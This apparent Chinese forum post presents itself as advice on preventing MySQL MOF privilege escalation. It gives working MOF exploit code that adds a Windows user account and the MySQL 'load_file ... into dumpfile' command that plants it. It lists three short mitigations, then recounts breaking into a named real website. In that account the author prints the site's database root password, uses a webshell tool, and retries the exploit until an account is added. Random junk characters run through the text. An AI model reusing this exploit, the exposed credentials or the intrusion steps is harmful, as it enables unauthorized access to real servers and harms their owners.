Mysql mof扩展漏洞防范方法
* U+ Z+ m3 j3 `: w% s# d* F1 Q1 `/ x( {
网上公开的一些利用代码:: A9 H; {: G, u; w
2 [- X' S4 J$ T, j* w#pragma namespace(“\\\\.\\root\\subscription”) a+ W! ^5 _! B- y& x
% W1 |/ n2 o# T1 K
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
* V' \8 r8 \& Z0 a; T% o: U+ J* N1 K+ K4 x; d
' b8 n" g2 j' ]* {; ^) v
; H2 f) ?; a$ u% T6 v+ P
n% [4 s5 p/ ?
, I- Z0 Z: W$ g8 `1 k( U& ]5 i/ V' o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- _/ V" B) q9 E9 a! f
从上面代码来看得出解决办法:
. i' y4 Y. U- n+ B6 W; b
4 I: T% @, M7 S7 U1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数. j6 t7 r; c( p* ~( s9 l+ ?. z$ [
3 G0 {1 k E, f4 R+ h' {2、禁止使用”WScript.Shel”组件
0 N' M" _" G" O, z2 J: Z, V2 Z% D8 s
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER( X3 \# ?9 N" v% R1 ^. b
) ^9 M7 s& p* V" i/ ]# V& K2 Y4 F当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下( r8 r0 j$ R v% `0 l
& ]7 Q2 e" P, t4 q9 y9 B+ H
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
1 V: v* \* X! B( e; B
V* q3 j. s( N但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
+ O( {* E$ e* j- l9 B
; o, b3 U. N0 v- d看懂了后就开始练手吧
b1 v" Z8 i' X7 _4 f) x9 x
$ P1 R7 d% z% O' Dhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
. b' g; |6 a3 @6 z
8 l. n! {, U3 R$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。; o/ Z f( x9 [
% |6 e( q w8 H l/ @& q" J. O于是直接用菜刀开搞
6 F& w( v7 o8 U; {% f. f! Q" h, v( W1 a- w
上马先: P0 E4 q# w k. v7 b$ N: j
& n% s2 a* z' F# K& r% h
既然有了那些账号 之类的 于是我们就执行吧…….& R/ |; J4 I+ C, M' \0 N2 l. G% P
9 r1 o0 n! |6 ^, r: o5 y
小小的说下4 q; }$ d0 i0 G- S
3 j9 C) z1 F* s J在这里第1次执行未成功 原因未知
! N; L& j: W5 n+ ?
" s$ B3 n" l+ V/ p m4 L9 f- `; ?) c我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
8 J6 N* p' j# m: E
. T0 A% Y, O; ?1 y+ u; o#pragma namespace(“\\\\.\\root\\subscription”). i( ^! W; y) V% U$ t1 H$ N7 G1 h
h& V# x( |- z% H
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };# [, U+ P, n* _& _! G
3 t4 o* {* B: e
我是将文件放到C:\WINDOWS\temp\1.mof
5 |! p4 F1 h, k! q4 S; i7 }, M; o" J
所以我们就改下执行的代码
: ?- E" d) J4 w8 d5 |% F3 P' A, w1 D/ ?0 u2 }0 X- Q
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;$ p, N3 ]6 \' \9 l7 u, b
2 D: W5 T8 Q/ L i5 s
. X. B! m# _3 f4 C ^+ {2 g& M+ O
但是 你会发现账号还是没有躺在那里。。
* L, h' N3 u9 l8 M& b
0 F8 j: _' u) h; e* ]- X% ]* X" g于是我就感觉蛋疼
1 Z# h+ p) D+ H1 A1 R* V" |- P' z; A5 b* d0 U, Z
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
8 v5 y% g4 S9 L. U/ P7 h& W# V2 L8 N! I: b/ s9 h6 c
7 T& ^7 L& X% N! x: u0 Z7 l% ?) f; Q, M! H- Y: q, P2 @* O9 i6 o
但是其他库均不成功…) C Y a# J' u0 V5 a5 v3 W v; I
( v2 X! s! H% S& i) N+ T, p, A我就很费解呀 到底为什么不成功求大牛解答…1 w, W% Q k) G; h+ H
0 l! u% ]! N, o7 _0 v1 i) L
/ s8 y" o/ ^: y, I( |2 w+ J9 f$ ]- K7 V/ p8 C% Q1 Y
|